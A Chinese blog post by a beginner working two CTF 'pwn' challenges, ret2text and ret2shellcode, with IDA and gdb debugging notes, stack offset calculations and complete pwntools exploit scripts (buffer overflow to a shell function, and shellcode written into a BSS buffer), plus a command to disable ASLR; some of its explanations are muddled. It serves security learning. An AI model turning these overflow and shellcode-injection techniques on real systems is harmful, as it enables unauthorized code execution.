每日3道PWN之课外2道(第2.5天)2.0版

0002.哔哩哔哩-【个人向】CTF pwn 入门-P2[高清版]_哔哩哔哩_bilibili

这是我跟着视频弄到的原题,跟着做一下,因为没有远程环境,所以只能本地调试

题目链接:

链接:https://pan.baidu.com/s/1URY2RzKkPKPJTt4InA6a4A?pwd=goro 
提取码:goro

这篇主要是学习如何动态调试的,也讲述了怎么看变量的真实空间大小。

当然也希望大家跟着视频学习一下,因为这个视频讲的很细。第二集后面讲的是ret2text

第三集讲了ret2shellcode和ret2stack,ret2stack作者翻车了,有空我自己做做

ret2text

参考:

【PWN · ret2shellcode】[HNCTF 2022 Week1]ret2shellcode-CSDN博客

简单运行一下

源代码,

vulnerable是易受攻击的意思,直接看这个函数

发现gets危险函数

不出意外就是溢出漏洞了

观察大小是0x10,一会动态调试一下,看准不准

shift+f12,发现漏洞点

双击跟进

双击跟进,记录地址0x8048536

按f5观察函数

所以利用思路就是:运行程序后main函数调用vulnerable函数,然后我们构造payload,填满s,使其溢出,指向get_shell函数,或者直接指向system的地址

构造exp(本地调试)

from pwn import *
sh=process('./ret2text')
payload=0x10*b'A'+p32(0x8048536)
sh.sendline(payload)
sh.interactive()

可以看见灰色的$变成了红色的,说明成功了

输入ls什么的,直接断了,说是编译后,ret2text的地址又变了,这里建议关一下alsr,再做一遍

echo 0> /proc/sys/kernel/randomize_va_space //关闭ALSR

我这里对ALSR还是不太理解,就不进行阐述了

动态调试(本地调试)

看看s大小是否正确(刚好下一题有一个不正确,和这个做对比)

为什么要看s是否正确呢?

因为有些题里面用IDA静态分析变量大小之后,会发现与动态分析的不一样,重点!一动态分析为主。ret2shellcode就是很好的例子,一会一起看看。

然后输入n,一直回车,直到看见我们的漏洞函数vulnerable()

就像这样,绿色箭头指向vulnerable

按s进入该函数

然后按n,让他到get这里,好吧没跳转,直接让我输入了

输入4个A或者8个A,不溢出试试

tip:为什么要输入4个A或者8个A就行呢,就不会溢出呢?

在此之前你要知道32位的elf,寄存器叫ebp、esp和eap,ebp的大小是0x4

64位的叫rbp、rsp和rap,rbp的大小是0x8

我感觉就是因为这个,现阶段我是怎么理解的

再按stack 24,查看前24个栈帧

为什么要查看前24个栈帧呢?

0xffffd188-0xffffd170=0x88-0x70=0x18=24

那咱就看前24帧

stack 24

0xffffd118-0x0xffffd178=0x10,说明他是的对的

tip:大小就是ebp的位置减去eax的位置,至于你想用左边那一列,还是右边那一列,这都是可以的


构造exp(远端)

from pwn import *
sh=remote('ip或者域名',端口)
payload=0x10*b'A'+p32(0x8048536)
sh.sendline(payload)
sh.interactive()

无远端环境,不再进行讲述


ret2shellcode

视频第二集,进度2:55:13开始讲解这道题

漏洞很多,RWX——可读可写可执行的意思

32位的,看看题目吧

gets函数,可能是栈溢出吧

分析一下程序逻辑

这两行代码的意思初始化缓冲区,我们不用管

输入字符串s后

strncpy(buf2, &s, 0x64u);

第一个参数 buf2 是目标字符串的指针,第二个参数 &s 是源字符串的地址,第三个参数 0x64u 表示最大复制的字符数。

这段代码的功能是将字符串 s 的内容复制到 buf2 缓冲区中,并最多复制 100 个字符。如果字符串 s 的长度不足 100 个字符,则复制完内容后,剩余位置将用空字符 '\0' 填充。这样可以确保 buf2 缓冲区以 '\0' 结尾,形成一个合法的字符串。

但是你会发现buf2没有定义呀,你会发现,他保存再BSS里面,他就是一个未初始化的全局变量(BSS是一个缓冲区,用来保存未初始化的全局变量)

简单运行了一下,以后遇见长的代码,或者看不懂的代码,就直接运行一下,看看效果

shift+f12,啥也没看到

动态调试(本地调试)

看看漏洞的危害,vmmap用来显示虚拟内存的空间分布

与正常的文件比较,正常文件,又w权限,一定没有x,有x,一定没有w

按一个n之后,一直按回车,直到可以输入的地方停下来,我输入了6个A

算一个大概的内存大小进行查看0xffffd198-0xffffd110=0x88=136

stack 136太多了,所以我还是不知道弄多少合适的,但是目的就是看edp的位置,然后计算变量的真实大小

pwn神告诉我随便输就行,能看见ebp就行

查stack 35个发现刚刚好能看见ebp,能看见栈顶就行

然后计算一下0xffffd198-0xffffd12c=0x6c=108

注意!!!!!!!!!!!!!!

和静态IDA调试的时候的0x64不一样,明显大了,大小以动态调试为主

所以构造payload 的时候要构造108+4(父的edp大小)个垃圾数据来填充。

然后就找去后门了。

发现是找不到的

也就是要自己构造后门

python里面又构造后门的函数——shellcraft.sh()

print(shellcraft.sh())可以美观的打印出来,

然后转换成机器码——asm(shellcraft.sh())

后门做好了,怎么放进去?放哪里?

关键点就在strncpy这里了,这个函数的意思就是让变量buf2复制变量s的前0x64个字符

也就是前0x64位得是我们做的后门,0x64大小足够了,换成10进制,100个字符大小呢。

那s后一段溢出后的地址就是buf2了

画图就是这样的

我们看看buf2的地址

双击buf2跟进,发现是0x804A080

payload构造为asm(shellcraft.sh()).ljust(112,b'A')+p32(0x804A080)

ljust(112,b'A')的意思就是在asm(shellcraft.sh())大小的基础上,补充n个垃圾数据A,且保证总体大小(后门的大小+A*n)为112

构造exp(本地调试)

linux上使用,如果想window上使用,你环境调好也行,我好像没成功

#!/bin/python3
from pwn import *
io=process("./ret2shellcode")
payload=asm(shellcraft.sh()).ljust(112,b'A')+p32(0x804A080)
io.sendline(payload)
io.interactive()

在我的ubuntu上本地调试成功

构造exp(远端)

没有远端环境,所以我就没继续弄,远端的话,exp改一下就是

from pwn import *
io=remote('ip或者域名',端口)
payload=asm(shellcraft.sh()).ljust(112,b'A')+p32(0x804A080)
io.sendline(payload)
io.interactive()

为什么要进行本地调试呢?

因为有些比赛不能无限次连接远端,连多了会扣分。

猜你喜欢

转载自blog.csdn.net/m0_71274136/article/details/134839762
今日推荐